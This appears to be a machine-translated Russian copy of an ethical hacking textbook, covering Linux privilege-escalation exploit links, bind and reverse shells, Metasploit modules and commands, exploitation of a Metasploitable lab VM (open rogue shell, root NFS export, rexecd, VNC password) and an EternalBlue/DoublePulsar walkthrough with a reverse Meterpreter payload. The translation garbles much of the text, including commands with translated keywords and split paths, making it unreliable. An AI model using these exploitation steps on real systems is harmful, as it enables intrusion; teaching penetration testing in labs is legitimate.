Ниже приведены примеры эксплойтов повышения локальных привилегий для Linux.
системы:
Операционные
ID уязвимости
системы и Общедоступный эксплойт
Версия Описание
Linux CVE-2016-4557 https://github.com/offensive-
ядро " The безопасность / exploitdb-bin-
до replace_map_fd_with_map_ptr sploits / raw / master / bin-
4.5.5 функция в kernel / bpf / verifier.c sploits / 39772.zip
в ядре Linux до 4.5.5
не поддерживает должным образом
структура данных fd, которая позволяет
локальные пользователи, чтобы получить привилегии или
вызвать отказ в обслуживании (использовать-
после бесплатного) через созданный BPF
инструкции, которые ссылаются на
неверный дескриптор файла ".
Linux CVE-2015-8660 https: //www.exploit-
ядро « Функция ovl_setattr в db.com/exploits/39166
через fs / overlayfs / inode.c в
4.3.3 Ядро Linux до 4.3.3
попытки объединить различные
https://translate.googleusercontent.com/translate_f 150/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
setattr операции, которые
позволяет локальным пользователям обходить
предполагаемые ограничения доступа

Стр. Решебника 200

и изменить атрибуты
произвольные файлы наложения через
созданное приложение. ”

Чтобы узнать о других эксплойтах повышения привилегий в Linux, перейдите по следующей ссылке:
https://github.com/SecWiki/linux-kernel-exploits
Типы оболочки
Удаленная оболочка, которую пытаются получить хакеры при эксплуатации уязвимости, может
можно разделить на три различных типа: прямая оболочка, связанная оболочка и обратная
оболочка.
Прямая оболочка
Прямая оболочка - это оболочка, созданная в одном и том же TCP / UDP-соединении.
через который была отправлена ​полезная нагрузка. Давайте посмотрим на следующий сценарий:

Хакер устанавливает TCP-соединение с сервером на 80-м порту. 1.


(http), и трехстороннее рукопожатие TCP завершено.
2. Хакер отправляет полезную нагрузку, которая порождает оболочку, через
HTTP-соединение.
3. Полезная нагрузка выполняется сервером, а затем оболочкой (либо
/ etc / sh или% SYSTEMROOT% \ System32 \ cmd.exe).
4. Созданная оболочка будет работать по тому же существующему протоколу HTTP.
связь.
5. Хакер отправляет команды оболочки, и сервер отвечает.
с результатами.
Обратите внимание, что в Direct Shell нет дополнительного или отдельного TCP-соединения.
Проблема с этим типом оболочки заключается в том, что когда-то веб-сервис, например Apache
или IIS, остановлен (из-за обновления или патча), оболочка также остановится.
Привязать оболочку
Оболочка привязки - это оболочка, созданная в выделенном TCP-соединении, где
жертва - это сервер, а хакер - клиент; и это TCP-соединение
отдельно от первоначального соединения, через которое была отправлена ​полезная нагрузка.

Стр. Решебника 201

При использовании оболочки bind полезная нагрузка инструктирует операционную систему открыть определенны
TCP-порт, например 4444, и свяжите этот порт с программой оболочки, такой как

https://translate.googleusercontent.com/translate_f 151/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
/следующий
etc / sh или% SYSTEMROOT% \ System32 \ cmd.exe. Рассмотрим
сценарий:

Хакер устанавливает TCP-соединение с сервером на 80-м порту. 1.


(http), и трехстороннее рукопожатие TCP завершено.
2. Хакер отправляет полезную нагрузку, которая инструктирует ОС прослушивать
конкретный порт, например tcp / 4444, и связать этот порт с оболочкой
программа такой в качестве / etc / sh или
% SYSTEMROOT% \ System32 \ cmd.exe.
3. Хакер устанавливает новое TCP-соединение с сервером на
порт 4444, и трехстороннее установление связи TCP завершено.
4. Хакер получает доступ к оболочке через это новое соединение, которое
не зависит от http-соединения.
С Bind Shell оболочка запускается через отдельное соединение и, таким образом, может
остаются в живых даже после остановки веб-службы / процесса. Однако есть
обратная сторона этого типа снаряда; не будет работать, если есть блокировка файерволом
входящее соединение с портом привязки . В приведенном выше примере, если бы
брандмауэр блокирует входящие TCP-соединения на порт 4444 или на все порты
кроме порта 80, Bind Shell не сможет подключиться.
Обратная оболочка
Обратная оболочка - это оболочка, созданная в выделенном TCP-соединении, где
хакер - это сервер, а жертва - клиент; и это TCP-соединение
отдельно от первоначального соединения, через которое была отправлена ​полезная нагрузка.
Перед отправкой полезной нагрузки хакер настраивает сетевой прослушиватель на
конкретный порт, например 4444. Затем хакер отправляет полезную нагрузку, которая инструктирует
ОС жертвы, чтобы инициировать соединение с машиной хакера через порт 4444
и связать оболочку (/ etc / sh или% SYSTEMROOT% \ System32 \ cmd.exe)
с таким подключением. Давайте посмотрим на этот сценарий:

Стр. Решебника 202

https://translate.googleusercontent.com/translate_f 152/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

1. Прежде чем хакер отправит полезную нагрузку для использования удаленной системы,
сначала он устанавливает сетевой слушатель на определенный порт, например, 4444.
2. Затем хакер отправляет полезную нагрузку, которая имеет следующие
инструкции: инициировать TCP-соединение от жертвы к
хакерской машине на порт 4444 и свяжите это соединение с
программа-оболочка.
3. Машина хакера получает и подтверждает
установление TCP-соединения.
4. Затем хакер может отправить жертве команды оболочки. В
команды выполняются, а ответы отправляются обратно
машина хакера.
Ценность Reverse Shell в том, что она может работать даже при наличии межсетевого экрана.
блокировка входящего трафика. Обратная оболочка будет работать до тех пор, пока брандмауэр
разрешает исходящий трафик на определенные порты.
В корпоративной среде исходящий трафик http / https всегда открыт, поэтому
сотрудники могли просматривать веб-страницы. Таким образом, обратная оболочка через порт 80 или 443 являетс
чаще всего собираюсь на работу. Мало того, даже если есть прокси-сервер, который
весь веб-трафик проходит, обратная оболочка может быть туннелирована через этот прокси

Стр. Решебника 203

сервер. И в этом случае оболочка называется « Reverse HTTP Shell », которая является
конкретная версия обратной оболочки.
Фреймворк Metasploit
Фон
Проект Metasploit стартовал в 2003 году HD Moore. Идея заключалась в том, чтобы построить
платформа, которая делает процесс эксплуатации простым и автоматическим. До
Metasploit, эксплуатация была непростой задачей; эксплойты должны быть
модифицировано - вручную - для работы в различных ситуациях. Например, если публичный
эксплойт был написан с помощью оболочки привязки на порту 1234, и тестер хотел
обратная оболочка на порт 4321, ему нужно будет отредактировать код и протестировать его
полностью на системе, похожей на цель. Точно так же, если другой тестер
хотел полезную нагрузку, которая будет загружать и запускать бэкдор, он пойдет
через беду при интенсивном редактировании и тестировании. Дополнительно публично
доступные эксплойты были написаны на разных языках. Они могут быть в C,
Perl, Python или любой другой язык. Таким образом, если тестер использовал
разные уязвимости с использованием разных эксплойтов, написанных на разных
языков, ему потребуется использовать разные компиляторы или скриптовые движки. HD
Мур хотел решить эти проблемы раз и навсегда.
Metasploit изначально был написан на Perl. В 2007 году он был полностью переписан на
Рубин. Metasploit стал «де-факто» фреймворком для разработки эксплойтов.
Позже проект был приобретен Rapid7. Metasploit предустановлен в Kali
Linux. А его домашняя страница:
www.metasploit.com
Metasploit Framework предоставляет следующие преимущества:

1. Все общедоступные эксплойты централизованы в одном месте в


локальная система. Вместо того чтобы искать в Интернете эксплойты, вы
все они должны быть установлены локально в вашей системе.
2. Все эксплойты написаны в стандартном едином формате. С
Metasploit написан на Ruby, доступные эксплойты написаны как
https://translate.googleusercontent.com/translate_f 153/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Модули Ruby. Таким образом, вы можете легко добавлять новые или изменять существующие
подвиги.
3. Полезные данные отделены от эксплойтов. Metasploit имеет
библиотека эксплойтов и еще одна библиотека для полезных нагрузок. Metasploit's
эксплойты не содержат полезной нагрузки. Вместо этого, когда вы захотите

Стр. Решебника 204

запускаете определенный эксплойт, вы выбираете полезную нагрузку, которая вам нравится, из


набор тех полезных нагрузок, которые подходят для ваших эксплойтов. Пен-тестеры
больше не ограничиваются фиксированной полезной нагрузкой, и они могут выбирать и
выберите полезную нагрузку, которую они хотят.
4. Все эксплойты можно запускать одинаково из Metasploit.
Платформа. Вместо того, чтобы компилировать один эксплойт с помощью GCC, другой
используя Visual Studio, или третий, использующий Python, вы можете использовать любой
из Metasploit точно так же. Metasploit предоставляет вам
с собственными командами, которые позволяют настраивать и запускать любые
эксплуатировать хочешь.

Изучение Metasploit
Перед запуском Metasploit давайте исследуем его установочный каталог и получим
понимание его модульной структуры. Каталог установки по умолчанию:
/ usr / share / metasploit-framework /
В этом каталоге находятся следующие наиболее важные файлы и подпрограммы.
каталоги:

Двоичные файлы : двоичные файлы, которые начинаются с msf - это Metasploit.


двоичные файлы, выполняющие разные операции.
Каталог модулей : Metasploit построен с использованием модулей. Модуль
является строительным блоком Metasploit. Для каждого есть свой модуль
использовать, каждую полезную нагрузку, каждый вспомогательный инструмент и т. д. В основном, к
вы запускаете Metasploit, вы будете выполнять операции, используя
различные модули.
Каталог сценариев : этот каталог содержит сценарии, написанные на
автоматизировать определенные функции, выходящие за рамки основной функциональности
Metasploit. Есть скрипты, написанные на Ruby, PowerShell или
даже в виде файлов ресурсов Metasploit, которые автоматизируют определенные задачи
(подробнее об этом позже).
Каталог инструментов : этот каталог содержит инструменты, которые были
импортированы в Metasploit из внешних источников. Инструменты существуют
изначально как отдельные инструменты, но участники Metasploit имеют
создал Ruby-версии этих инструментов и добавил их в
Metasploit.
Каталог плагинов: плагины - это элементы, расширяющие функциональность
Metasploit. Например, вы можете интегрировать Metasploit с

Стр. Решебника 205

https://translate.googleusercontent.com/translate_f 154/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Nessus, установив подключаемый модуль Nessus.

Двоичные файлы
Бинарные файлы Metasploit начинаются с msf и представляют собой исполняемые файлы, выполняющие
некоторые основные операции. В следующей таблице перечислены описания наиболее
общие двоичные файлы:
Двоичный Описание
msfconsole Это позволяет вам запускать Metasploit в интерактивном режиме.
Когда вы запустите Metasploit Console, вы сможете
для выполнения внутренних команд. Это самый распространенный способ
работы с Metasploit.
msfvenom Это позволяет вам создавать полезные данные, упакованные в разные
форматы файлов ( например, exe, elf, php, war и т . д.). Это делает
полезная нагрузка ведет себя как троян или бэкдор. Полезная нагрузка
просто набор машинных инструкций, и он должен быть
вставлен в память как код для запуска. Это может
можно сделать либо с помощью эксплойта, либо с помощью оболочки. Мсфвеном
создает такую ​обертку.
msfupdate Вы можете запустить этот двоичный файл, чтобы обновить Metasploit.
Фреймворк. Обновления могут быть новыми эксплойтами, полезными нагрузками, ошибкам
исправления или дополнительные функции.
MSFD Это демон Metasploit. Это позволяет вам запускать
Metasploit как сетевая услуга. Затем вы можете использовать Telnet для
и работайте на нем как на консоли. Хост и порт по умолчанию
являются localhost (127.0.0.1) на порту 55554.
msfrpcd Запустите демон Metasploit RPC ( удаленный вызов процедур ).
Это предоставляет список API-интерфейсов ( прикладное программирование
Интерфейсы ), которые могут быть вызваны программно
удаленные клиенты. С MSFRPCD вы можете взаимодействовать с

Стр. Решебника 206

Сервер Metasploit из ваших скриптов (например, Python или Perl)


или программы (например, на C или Java).
msfrpc Это клиент RPC для Metasploit, который можно использовать
для взаимодействия с MSFRPCD.
msfdb Эта команда позволяет интегрировать Metasploit с
База данных Postgres. БД Metasploit будет хранить
результаты эксплуатации, а также любое сканирование Nessus или Nmap
которые запускаются из Metasploit.

Каталог модулей
Строительным блоком Metasploit является « модуль ». И все модули находятся под
папка modules /. Если мы перейдем в каталог модулей (modules /), мы
увидим, что есть разные типы модулей:

https://translate.googleusercontent.com/translate_f 155/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Модули эксплойтов (эксплойты /)

Это настоящие подвиги. Текущая версия Metasploit -


v5.0.101-dev на момент написания этого модуля - содержит 2050
подвиги. Каждый эксплойт написан в виде файла Ruby (* .rb). Эксплойт
модули сгруппированы в два уровня каталогов: платформа (например,
Windows, Linux, OSX, Solaris и т . Д.), А также службу или приложение (например,
FTP, HTTP, SMB, электронная почта, браузер и т . Д.). На следующем изображении показано
Эксплойты Windows SMB:

Стр. Решебника 207

На следующем изображении показаны эксплойты Linux SSH:

Модули полезной нагрузки (payloads /)

Это полезные данные, используемые эксплойтами. Полезная нагрузка - это набор


инструкции, которые вводятся и выполняются в целевой системе. Когда
вы используете эксплойт, вы можете установить соответствующую полезную нагрузку для этого эксплойта
Текущая версия Metasploit - v5.0.101-dev на момент выпуска
написание этого модуля - содержит 566 полезных нагрузок. Полезные данные сгруппированы
на три уровня каталогов: первый - это тип полезной нагрузки ( одиночные,
Этапы и Стадеры ), вторая - платформа ( Windows, Linux,
Android и др .), А третье - архитектура ( x64, x86, ARMel,
Зарч и др. ). Ниже описаны три типа полезной нагрузки:

1. Одиночный разряд

Синглы - это автономные полезные данные, которые выполняют одну задачу.


а затем прекратить. Одна полезная нагрузка отправляется эксплойтом (на
https://translate.googleusercontent.com/translate_f 156/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
машина злоумышленника) одним выстрелом в жертву. Они маленькие
достаточно, чтобы поместиться в пространство памяти уязвимого процесса. А
одиночная полезная нагрузка обычно выполняет одну предопределенную задачу, например
в качестве:
- добавление учетной записи пользователя.
- скачивание файла.
- выполнение файла.

Стр. Решебника 208

- форматирование жесткого диска.


- инициировать обратную оболочку.

На следующем изображении показаны отдельные полезные данные для Windows.


x64 системы:

2. Этапы

Этапы - это большие многоцелевые полезные нагрузки, предназначенные для выполнения


широкий спектр задач и предоставляет хакеру множество
функции управления системой-жертвой. Эти полезные данные не могут быть
одним выстрелом передается потерпевшему. Их нужно разделить
и передается поэтапно, отсюда и название « этапы» . Полезная нагрузка
делится на несколько фрагментов, и каждый фрагмент передается в виде
стадия, пока не будет передана вся полезная нагрузка.

Однако для того, чтобы этот многоступенчатый перенос произошел,


в системе жертвы должен быть определенный код, который принимает
забота о получении этапов и их повторной реконструкции. Этот
вспомогательный код называется стейджером - это следующий тип
полезные нагрузки.

Вот примеры полезной нагрузки этапов:


- Meterpreter ( который будет рассмотрен в следующем модуле ).
- DllInject
- VNCInject
На следующем изображении показаны этапы полезной нагрузки для Windows x86.
и x64 системы:

3. Стадеры

Это полезные нагрузки, которые помогают в переносе этапов


полезные нагрузки. Когда хакер, использующий Metasploit, хочет отправить

Стр. Решебника 209

https://translate.googleusercontent.com/translate_f 157/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Полезные данные этапов, например, Meterpreter, сначала отправляются полезные данные этапов.
Затем Metasploit координирует работу с полезной нагрузкой удаленного стейджера -
работает на машине жертвы - чтобы перенести этапы
полезная нагрузка (например, Meterpreter).

На следующем изображении показаны полезные нагрузки stager для Windows.


системы x86:

Вспомогательные модули (вспомогательные /)

Эти модули выполняют задачи, отличные от эксплуатации, но полезны для


хакер. Функции, выполняемые вспомогательными модулями, включают порт
сканирование, сканирование ARP, анализ сетей, программный фаззинг, DoS
атаки и т. д. На следующем изображении показаны категории вспомогательных
модули:

Модули Nops (nops /)

Эти модули вставляют инструкции NOOP в полезные данные. Нопс


модули сгруппированы в каталоги в соответствии с архитектурой, в которой они
работа над. На следующем изображении показаны различные архитектуры и
некоторые модули для систем x64 и x86:

Кодер модули (кодеры /)

Эти модули предлагают возможность кодировать полезные данные для передачи


через сетевые устройства. Иногда полезная нагрузка может содержать
символы считаются незаконными по стандартам сетевых протоколов

Стр. Решебника 210

(например, символы NULL или пробелы). Энкодеры помогают изменить


внешний вид грузов в пути. Как только полезная нагрузка
введенный в память, он сначала декодирует себя, а затем запускает
выполнение.

На следующем изображении показаны различные кодировщики для систем x86:

Здесь важно отметить, что кодировщики не предназначены для обхода Anti-


Обнаружение вирусов; и если они это сделают, это только временный побочный продукт.

Модули после эксплуатации (post /)

https://translate.googleusercontent.com/translate_f 158/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Эти модули выполняют задачи после эксплуатации, такие как кейлоггинг,


модификации учетных записей пользователей, манипуляции с веб-камерой, привилегии
эскалация и т. д. Они полезны после того, как вы эксплуатируете систему и
получил удаленный доступ к оболочке. Модули после эксплуатации сгруппированы
в двухуровневые каталоги: первый - это платформа (например, Windows,
Linux, OSX и т . Д.), А второй - функциональность (например, Управление,
Собирать, повышать, захватывать и т . Д.). Мы рассмотрим некоторые из этих модулей.
в следующей главе.

На следующем изображении показаны некоторые модули в категориях


Захват и эскалация систем Windows:

Каталог скриптов
Этот каталог содержит сценарии, автоматизирующие определенные функции. Эти сценарии
не являются частью основной платформы Metasploit и разработаны
участники. Некоторые из них даже устарели. Есть четыре под-
каталоги в этом каталоге:

Meterpreter : он содержит устаревшие скрипты Ruby, которые были разработаны


для выполнения постэксплуатационных функций на сессиях Meterpreter.

Стр. Решебника 211

Однако скрипты в этом каталоге устарели и


новые версии добавлены в каталог / modules / post /.
Ps : содержит скрипты Power Shell. В настоящее время у него только один
образец сценария называется msflag.ps1 .
Ресурс : он содержит некоторые файлы ресурсов (* .rc). Ресурс
скрипт может быть вызван из консоли Metasploit для запуска
предопределенный список команд. Это похоже на пакетный файл на
Windows / DOS. Вот некоторые полезные файлы ресурсов:
portscan.rc - он может сканировать порты в сети с помощью Nmap.
auto_brute.rc - может автоматизировать брутфорс учетных данных
против некоторых обнаруженных сетевых сервисов.
autoexploit.rc - его можно использовать после импорта Nessus
VA приводит к тому, что пытается использовать эти
уязвимости, для которых существует эксплойт Metasploit.
Оболочка : она содержит скрипты Ruby, предназначенные для выполнения пост-
функции эксплуатации в типичном сеансе Shell. Однако это
в настоящее время каталог содержит только один сценарий, migrate.rb, который
действительно выводит сообщение о том, что « миграция не поддерживается на
Сеансы CommandShell ».

Каталог инструментов
Чтобы расширить возможности Metasploit, его разработчиков и участников
создали определенные инструменты в виде скриптов Ruby, которые можно использовать из Metasploit.
Некоторые из этих инструментов выполняют функции, аналогичные другим внешним инструментам (для
например, psexec). Этот каталог содержит следующие подкаталоги:

Контекст : он содержит три инструмента, написанных на C и скомпилированных с использованием


CC, который можно использовать с модулем кодировщика xor_context .

https://translate.googleusercontent.com/translate_f 159/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Dev : он содержит скрипты Ruby, которые полезны для Metasploit.
разработка.
Документы : он содержит скрипты, которые находят информацию о модулях и
их документация. В настоящее время существует только один скрипт Python,
issue_finder.py.
Эксплойт : он содержит скрипты Ruby, которые полезны во время
процесс эксплуатации. Вот некоторые из полезных:
exe2vba.rb: преобразует EXE-файл в сценарий VBA, который
может использоваться как макрос в MS Word / Excel.

Стр. Решебника 212

exe2vbs.rb: преобразует EXE-файл в сценарий VBS.


psexec.rb: это Ruby-реализация
Инструмент PSEXEC.
virustotal.rb: этот инструмент проверяет файл или несколько файлов.
против общедоступного механизма сканирования VirusTotal.
reg.rb: этот инструмент считывает и извлекает значения из
Реестр.
Аппаратное обеспечение : содержит несколько инструментов, с которыми можно работать.
Интерфейс HWBridge.
Memdump : он содержит инструмент (написанный на C), который может выгружать отображаемый
сегменты памяти в запущенном процессе.
Модули : он содержит различные инструменты Ruby, которые обрабатывают Metasploit.
модули. Некоторые из этих инструментов содержат определенную информацию о модулях.
(например, автор, описание, лицензия, полезные данные и т. д.).
Пароль : он содержит инструменты Ruby, которые работают с хэшами паролей.
Например, lm2ntcrack.rb пытается взломать хэши NTLM,
пока hmac_sha1_crack.rb пытается взломать HMAC SHA1
хеши.
Полезные нагрузки: он содержит инструменты, которые генерируют или работают с полезными нагру
В настоящее время есть инструменты, которые работают с пакетом ysoserial - a
набор утилит, использующих десериализацию Java
уязвимости.
Разведка : он содержит инструменты, помогающие вести разведку. Для
Например, инструмент makeiplist.rb принимает диапазон IP-адресов.
(например, 10.10.10.1-250) и расширяет его до списка индивидуальных IP-адресов.
адреса.

Каталог плагинов
Этот каталог содержит сценарии Ruby, расширяющие функциональность
Metasploit. Вот некоторые из полезных плагинов:

nessus.rb: позволяет Metasploit интегрироваться с Nessus.


Metasploit может запускать сканирование Nessus и анализировать его результаты.
nexpose.rb: позволяет Metasploit интегрироваться с Rapid7
Nexpose.
sqlmap.rb: он позволяет Metasploit запускать инструмент SQLMap и управлять им.

https://translate.googleusercontent.com/translate_f 160/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Стр. Решебника 213

Запуск Metasploit
Лучший способ запустить и использовать metasploit - через его интерактивную консоль:
msfconsole. Вы можете выполнить следующую команду:
#msfconsole
Когда интерактивная консоль запустится, вы увидите индикатор
msf5>

Печатать либо помогите, либо? предоставит вам список всех доступных команд. В
Ниже приведены некоторые важные команды:
использовать позволяет использовать эксплойт или аксилиарный модуль.
установленный позволяет вам устанавливать переменные (параметры) для эксплойта или
полезная нагрузка.
Setg позволяет вам установить переменную глобально.
получать позволяет читать значение переменной.
Getg позволяет читать глобальное значение переменной.
сброшен позволяет сбросить значение переменной.
unsetg позволяет сбросить глобальное значение переменной.
поиск позволяет искать определенный модуль.
сессии позволяет вам видеть и взаимодействовать с различными сеансами.
назад позволяет выйти за пределы модуля.
параметры позволяет увидеть параметры и переменные для

Стр. Решебника 214

модуль.
передовой позволяет увидеть дополнительные параметры.

Процесс эксплуатации Metasploit


Процесс эксплуатации можно резюмировать следующим образом:

Я. Выберите эксплойт

Это можно сделать с помощью команды use, за которой следует путь и


название эксплойта. Вот несколько примеров:
msf> используйте эксплойт / windows / dcerpc / ms03_026_dcom
https://translate.googleusercontent.com/translate_f 161/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
msf> используйте exploit / multi / http / tomcat_mgr_upload
msf> используйте exploit / unix / ftp / vsftpd_234_backdoor
msf> используйте exploit / multi / samba / usermap_script

II. Установить полезную нагрузку

Набрав show payloads, мы можем увидеть полезные данные, применимые к


выбранный эксплойт. У каждого эксплойта есть набор полезных данных, которые можно использовать с
Это. Как только мы знаем, какую полезную нагрузку использовать, мы устанавливаем ее с помощью коман
установите PAYLOAD <payload>. Вот несколько примеров:
установить PAYLOAD windows / adduser
установить PAYLOAD windows / shell / bind_tcp
установить PAYLOAD windows / shell / reverse_tcp
установить окна PAYLOAD / meterpreter / bind_tcp
установить PAYLOAD windows / meterpreter / reverse_tcp

III. Настройте эксплойт и полезную нагрузку

После того, как вы выбрали эксплойт и установили полезную нагрузку, вы можете ввести
параметры команды, чтобы увидеть доступные параметры и переменные, которые
нужно настроить. Вы настраиваете параметры, набирая
команда:
установить <ПЕРЕМЕННАЯ> <ЗНАЧЕНИЕ>
Вот несколько примеров:
установить RHOST 192.168.1.200

Стр. Решебника 215

установить RPORT 8080


комплект LPORT 5555

Некоторые переменные уже заданы заранее, т. Е. Имеют значения по умолчанию. Ты


можете использовать их как есть или изменять в зависимости от ситуации.

IV. Запустите эксплойт

После настройки эксплойта и полезной нагрузки вы готовы к запуску


exploit, набрав run или exploit.
Использование метаиспользуемых уязвимостей
В предыдущем модуле мы просканировали систему Metasploitable на наличие
уязвимостей с помощью инструмента Nessus, и мы обнаружили девять критических
уязвимости. Некоторые из этих уязвимостей можно использовать, а некоторые -
нет. Мы попытаемся использовать здесь четыре уязвимости и посмотрим, как каждая
у каждого есть свой способ эксплуатации. Четыре уязвимости:

1. Обнаружение бэкдора Bind Shell (Rogue Shell)


2. Раскрытие информации об экспортируемых общих ресурсах NFS
3. Обнаружение службы «rexecd»
4. Пароль для VNC-сервера. Пароль.
Прежде чем пытаться использовать уязвимость, внимательно прочтите описание.
и понять детали уязвимости. Не понимая причины
и влияние уязвимости является основным источником неудач, когда дело доходит до
эксплуатация.
Bind Shall (Rogue Shell) Обнаружение бэкдора
https://translate.googleusercontent.com/translate_f 162/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Согласно описанию Nessus, существует оболочка, которая прослушивает порт 1524.


и для подключения к нему не требуется аутентификации. Порт 1524 обычно
используется базой данных Ingres; однако иногда вредоносный бэкдор также использует
этот порт. Nessus подтвердил нам, что существует бэкдор оболочки. Разоблаченный
Оболочка подобна серверу Telnet или серверу SSH (если используется шифрование). Таким образом,
с помощью клиента Telnet - или любого подобного инструмента - можно использовать для доступа к удаленному
система (Metasploitable). Следующие два изображения показывают, как мы можем получить доступ
эта оболочка с использованием инструментов telnet и netcat ( обратите внимание, что Metasploitable IP
адрес 192.168.127.138 ):

Стр. Решебника 216

Раскрытие информации об экспортированных общих ресурсах NFS


Сканер Nessus указал, что существует общий ресурс NFS, который экспортируется и может быть
установлен без аутентификации. Кроме того, вывод плагина показывает, что
общий ресурс - это корневой каталог / . Поскольку общий ресурс является корневым каталогом, это
означает, что мы можем иметь доступ ко всей файловой системе.
Как правило, служба NFS работает вместе со службой RPC. Таким образом, нам нужно
для установки двух пакетов: rpcbind и nfs-common . RPCbind позволяет
взаимодействовать с удаленной службой RPC и собирать мало информации о
открытые сервисы, включая NFS; NFS-общий позволяет монтирование
Общий ресурс NFS.
Чтобы установить необходимые пакеты, введите следующие команды:
# apt-get update
# apt-get install rpcbind
# apt-get install nfs-common

RPCbind будет установить дополнительные инструменты , такие как RPC, rpcinfo , rpcdebug ,
rpcgen и т. д. Мы можем использовать rpcinfo для получения информации об удаленном RPC.
Сервисы:

https://translate.googleusercontent.com/translate_f 163/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 217

Из выходных данных выше мы видим, что сервер NFS работает на портах


2049 / UDP и 2049 / TCP. Теперь мы можем попытаться проверить все экспортированные акции на
Metasploitable:

Стр. Решебника 218

Приведенный выше вывод показывает, что корневой каталог экспортирован и любой (*)
можно смонтировать. Теперь мы можем создать временный каталог ( / tmp / metasploitable ) и
затем используйте команду mount.nfs, чтобы смонтировать удаленный корневой каталог в наш
локальный временный каталог.

https://translate.googleusercontent.com/translate_f 164/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Как показано выше, флаг -w в команде mount.nfs даст команду read-


разрешение на запись в каталог. И как оказалось, мы можем написать
разрешение. Наконец, мы смогли создать файл ihackedyou.txt на
удаленная система.

Обнаружение службы «rexecd»


Сканер Nessus обнаружил, что в удаленной системе запущена служба rexecd .
Этот сервис позволяет пользователям удаленно выполнять команды без каких-либо ограничений.
необходима аутентификация.
В отличие от указанного выше бэкдора Shell, сервис rexecd не может быть
доступ через Telnet или Netcat . Для этого требуется собственный клиент rlogin .
Сначала нам нужно установить пакет rsh-client (который содержит rlogin
орудие труда).

Стр. Решебника 219

$ sudo apt-get install rsh-client

https://translate.googleusercontent.com/translate_f 165/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

VNC Server 'пароль' Пароль


В системе Metasploitable работает VNC-сервер на порту 5900 / tcp. Несс
смог протестировать небольшой список стандартных и общих паролей и обнаружил, что
Сервер принимает пароль « пароль » .
Мы можем получить доступ к серверу VNC с помощью клиента vncviewer :
# vncviewer 192.168.127.138

При запросе пароля вводим пароль .

Стр. Решебника 220

Примечание : если vncviewer не существует в вашей системе, вы можете установить его как часть
пакет, xtightvncviewer:
$ sudo apt-get install xtightvncviewer

Использование уязвимости EternalBlue (MS17-010)


В этом разделе мы рассмотрим использование на стороне сервера против
Система Windows 7 SP0. Уязвимость существует на сервере SMBv1.
Историческое прошлое
Уязвимость изначально была тайно обнаружена АНБ ( Национальная
Security Agency ) вместе с тремя другими уязвимостями примерно в феврале.
2017. Группа кибербезопасности АНБ разработала четыре эксплойта для тех, кто
уязвимости; и подвиги были названы, EternalBlue , EternalChampion ,
EternalRomance и EternalSynergy . Затем АНБ проинформировало Microsoft
об уязвимостях разработать патчи для них. В марте подвиги

https://translate.googleusercontent.com/translate_f 166/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 221

публично просочились хакерской группой под названием «Shadow Brokers».


Вскоре после этого программа-вымогатель, известная как WannaCry, использовала
EternalBlue используют и распространяются по всему миру, вызывая всемирную панику.
Предполагается, что северокорейская группа APT ( Advanced Persistent Threat )
под названием Lazarus Group стояла за вымогателем WannaCry.
Эксплуатация Windows 7 SP0
Мы будем использовать оригинальный эксплойт EternalBlue, но из Metasploit.
Нам необходимо выполнить два предварительных условия:

1. Нам нужно установить эмулятор Windows (WINE) на нашу Kali.


Linux. Оригинальные эксплойты были созданы для работы в Windows; таким образом,
нам нужно WINE, чтобы запускать их в Linux. Выполните следующее
команды как root :

# dpkg --add-architecture i386


# apt-get update
# apt-get install wine: i386
# apt-get install wine-bin: i386
# wine --version

2. Загрузите и установите следующий модуль Metasploit. Запустить


следующие команды как root и из корневого домашнего каталога
( / корень / ):

# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git


# cd Eternalblue-Doublepulsar-Metasploit /
# cp eternalblue_doublepulsar.rb / usr / share / Metasploit-
фреймворк / модули / эксплойты / окна / smb /

Теперь запустите Metasploit Console:


корень @ kali: ~ # msfconsole
Используйте только что установленный модуль эксплойта:
msf5> используйте эксплойт / windows / smb / eternalblue_doublepulsar
Если полезная нагрузка не установлена ​по умолчанию, установите для нее значение Meterpreter Reverse TCP:
эксплойт msf5 (windows / smb / eternalblue_doublepulsar)> установить полезную нагрузку
окна / meterpreter / reverse_tcp
Проверьте доступные параметры:

Стр. Решебника 222

эксплойт msf5 (windows / smb / eternalblue_doublepulsar)> параметры


В следующей таблице перечислены важные параметры:
Вариант Описание
ДВОЙНОЙ ПУЛЬСАРПАТ Это путь к Doublepulsar-1.3.1.exe .
Если вы установили пакет Git на
корневой домашний каталог, затем значение по умолчанию

https://translate.googleusercontent.com/translate_f 167/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
правильный ( / root / Eternalblue-
Даблпульсар-Метасплоит / депс / ). Иначе,
вам нужно будет отрегулировать этот параметр.
Примечание: Doublepulsar - это имплантат, используемый
Эксплойты АНБ; он вводится сначала в
уязвимая система, то она используется для ввода
другие бэкдоры.
ВЕЧНЫЙ БЛЮПАТ Это путь к Eternalblue-2.2.0.exe . Если
вы установили пакет Git в корень
домашний каталог, то значение по умолчанию -
правильный ( / root / Eternalblue-
Даблпульсар-Метасплоит / депс / ). Иначе,
вам нужно будет отрегулировать этот параметр.
ПРОЦЕССИНЖЕКТ Это процесс, в котором
Будет введен имплантат Doublepulsar . В
самый надежный системный процесс - spoolsv.exe
который мы будем использовать здесь.
РОСТЫ Это целевой системный IP-адрес Windows 7.
адрес
ЦЕЛЕВАЯ ХИТЕКТУРА Это может быть x64 или x86. В нашем случае
значение по умолчанию (x86) является правильным.
